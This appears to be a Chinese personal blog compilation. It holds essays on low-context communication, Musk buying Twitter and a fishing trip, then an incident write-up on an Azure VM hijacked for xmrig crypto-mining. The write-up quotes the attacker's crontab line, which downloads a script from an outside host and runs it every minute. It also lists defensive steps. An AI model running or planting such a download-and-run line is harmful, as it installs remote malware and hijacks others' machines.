Low Context Communication

通常我们的沟通除了很大程度上依赖于言语来传达信息，也有一些其他因素（围绕沟通的上下文）的影响. 这里围绕沟通的上下文可能包括特定的文化背景，特定的语境，价值观，习惯，特定的时间空间以及与沟通的对象关系。

学习低上下文的沟通方式，就是让我们以直截了当的方式说话，并重视“我们所说的话就是想要传达的意思（Mean what we say）”。

倾向于低上下文沟通方式的人经常专注于解决问题，把事情做好，可能会与同事和上级相处过程中更加自我和更加平淡的关系。

当你厌倦了职场中的潜台词，潜规则，抱大腿，打太极，以及错综复杂的人际关系，可是试着尝试 Low Context Communication。

Low Context Environment

我们每个人都不是孤立的荒岛，所处的环境中，我们时时刻刻都在跟外界的环境产生千丝万缕的关系。 构建低上下文生活环境，我这里想要表达的是，我们要让外界的依赖变成是外界提供的服务（services）。而尽量摒弃那些不能转换为或者视为服务的依赖。

比如说我们日常会有汽车，出个远门，我们可以自驾。但是随着国人的车越来越多，再遇到像今天这样的国庆假期，如果我们出个远门堵在路上，那这个汽车对我们来讲就不是一项服务，而成了我们的依赖。（堵在高速上的朋友，一动不动的时候，有没有那么一个瞬间想过弃车步行，哈哈）

我上班的时候，经常遇到路上堵车，到了停车场还要转悠着去找车位，最后从停车场还要步行10多分钟才能到工位。所以我时常想象如果我能够跑步去上班，是不是会更自如？

Low Context Development Environment

当我们有多台电脑的时候，我们就要考虑同步问题。

当我们同时工作在多个项目的时候，不同的项目技术栈可能又会不同，电脑里要装上好多软件支持这些项目的开发，然后我们就会在不同的编辑器切换。

代码提交了，我们又需要去代码管理工具去交互，提PR，Review PR； PR merge 后又要去留意持续构建的状态，关心测试结果。代码上线后，还要去日志系统看看有没有错误日志，最后还要监测服务本身及其依赖的中间件的线上的状态。时不时还会从不同渠道收到来自各个监控系统的告警。

整个市场每种服务类工具你都能找到数个竞品（比如光一个时序数据库，你就会看到 Prometheus，InfluxDB，TimescaleDB，Graphite and more），时常会不自觉地随波逐流。如果你在管理一个技术team，希望你能克制一点，给你的team 做一些选择，让整个团队轻装上阵。

云原生，无服务，大数据，人工智能，数字化转型，能效管理…

各种会议，各种卷，每天到底有多少时间踏踏实实地写代码，看技术文档，专研技术？

Reference

[1] https://en.wikipedia.org/wiki/High-context_and_low-context_cultures

[2] https://en.wikipedia.org/wiki/Time_series_database

King Of Influence

最近几周关于 Elon Musk 的很多热点新闻，都是围绕他计划440亿美金收购一家社交平台公司Twitter。 很多人都在问花这么多钱收购Twitter，是否值得，是不是突然成了世界首富后那种有钱无处花的冲动使然。

看了一篇文章，我特别赞同，马斯克花440亿买Twitter，不是为了有一天能够让Twitter价值880亿卖出去赚一笔。 他也不是为了掌控一家社交媒体公司，占山为王，暗箱操作，作为为其名下公司的商业宣传阵地。

Elon 想要的是让他从世界最富有的人，变成世界最有影响力的人。在可预见的未来的一段时间，商业社会为一直围绕着他讨论。

这个男人真的是了不得，他深刻地理解了金钱不是万能的，有时还会让你分心，而影响力才是掌控人类内在运作的力量。

我们每个人在这个社会上，为人处世，树立的形象，留给别人的印象，就是个人外在影响力的一种呈现。而个人持续学习， 不断反省，思考总结，对自己看待外部事物的理解力的增强，看待事物的角度的改变，这种内在的自我塑造则是内在影响力的一种呈现。

就像我现在写这篇日志，通过学习，从不同的角度看待Elon 收购Twitter 这件事，就是学习和阅读对我内在影响，并增进了我对这件事情的理解；

而我把这件事情的所读所思分享出来，让更多的人了解，如果能够对朋友们有些许的帮助，那我就是通过写日志，对外部产生了影响。

Reference

[1] https://www.gapingvoid.com/blog/2022/04/26/elon-the-king-of-influence/

Growth Mindset 2022

微信公众号“对刘谈心”记录一个”观念改造”的系列。计划是每个月一篇，月底刊登。

观念改造记录这个月我看过的书或网页，遇见的人或事情对我个人的观念的改造，至少当下我比较认同的观念，朋友们一看，能够遇到某一条您也比较接受或认同的，我便心满意足。

钓鱼心得

本来拥挤的国庆，今年却不拥挤。

10/2 日下午跟着舅舅去钓鱼，舅舅带我来到一个好地方——水塘的两岸一片自然和谐的景象，钓点这边杨柳依依，柳树的枝条蓬松地倒垂在水面上。对岸则是一片片农民的自留旱地，三三两两的农民在田间除草，播种，浇水。水面上一簇簇的水草周围，泛着被鱼儿搅动的阵阵涟漪。太阳还没有下山，我们找到一片树荫处，阵阵秋风之间，让人神清气爽。

太阳快落山的时候，似乎是鱼儿开始觅食的集中时间，我们两个上演了此起彼伏的扬杆上鱼，都是沉甸甸的中大号鲫鱼。我们乐此不疲，忙的不亦乐乎。舅舅甚至开始一边取鱼，一边开始吟诵着唐代大诗人韦应物的“春潮带雨晚来急，野渡无人舟自横”。只是此处，他还不忘改编 “鱼儿觅食晚来急”。

秋天的太阳下山很快，没多久，太阳下山了，周围渐渐暗了下来，我们甚至看不见鱼漂了，湖面的风也息了，看着对岸,无舟可渡。 心里还在回荡着舅舅吟诵的那句“野渡无人舟自横”。 我们依依不舍，收杆回家。

这一下午，收获颇丰，晚饭后，想着下午连续上鱼的激动场面，顿时对钓鱼这件事产生了持续的兴致，找到舅舅，带我去渔具店，挑了一把新的鱼竿。

10/3 日大早，就拿着新鱼竿，来到昨天的钓点，打了窝，挂上钩，坐等开钓，一上午也是忙的不亦乐乎，可是都是小鱼闹窝，一上午下来，基本算是空军而回，这信心顿时受到的打击。前一天梦幻式的开局下，上午去开钓前的期望被现实揉得稀碎。更可气的是，还不停地有小鱼咬钩，拖钩仓皇逃串，我这边还要不停地去换蚯蚓。心累。

同样的地点，不同的时机，境遇，心态，心情竟会如此不同。

小鱼闹窝，让真正想钓的大鱼没有机会咬钩。这也就像我们的生活，如果常常被琐事缠身，我们真正的目标又该如何能实现呢。

云安全的重要性：记录一次云主机被挖矿攻防

最近发现我的一台Azure VM 超出150美元的月度限额导致VM 直接关机。

通过Azure Monitor 上 可以看出一段时间内CPU，Network Out Total 严重异常，出口流量暴增，CPU 近100%。

重新开机并立即关闭80，443 端口，并限定了22 端口仅限本机访问， 然后SSH上去开始尝试寻找问题原因。

1. 首先通过 htop 检查导致高CPU的进程,发现名为xmrig的进程导致100%

2. 检查crontab 查看是否有自启动的job，果然发现有，杀掉进程后并删除crontab job。

*/1 * * * * cd /tmp/node-v10.15.3-linux-x64/bin;rm -rf cc.sh;
wget http://8306.org/cc.sh;chmod 777 cc.sh;bash cc.sh /dev/null 2>&1

如果从SRE角度去主动侦测

上述的步骤是事后诸葛亮， 是被动的应对，决定尝试一下主动侦测并提前响应，以免像我一样早上上面的损失。

• 升级系统补丁

可以选择定时任务去执行下面的命令也可以在配置云主机的时候设置自动升级补丁包

sudo apt upgrade && sudo apt update

• 设置安全组和Inbound/Outbound 规则

• 通过监控工具主动发现异常

从这里可以看到这个xmrig的进程通过13333这个端口从我的 Azure VM 跟目标机器 101.32.200.219 这台机器进行通信。

通过IP 我们可以定位出目标IP 对应的ISP 是腾讯云上的一台云主机。

到这一步，我在想，是不是我们遇到重大损失的时候就可以报案并联系IPS运营商去协助从源头上解决问题。

当然，对于小损失，像我这样的，我们可以吃一堑长一智，至少可以把对方的IP 加到inbound/outbound blocklist里。

• 设置Alert 主动通知和干预

因为此次攻击主要是利用云主机资源用来挖矿，对我的账单影响比较大的地方是出口流量费用。为了避免损失，我结合Azure 的Metrics 设置了 Alert。

一旦发现一段时间内的流量异常，就通过邮件发送通知，并自动执行任务暂时关闭主机，阻止近一步的损失。

还有什么可以做的？

欢迎大家留言，提出保障云主机安全的见解和建议。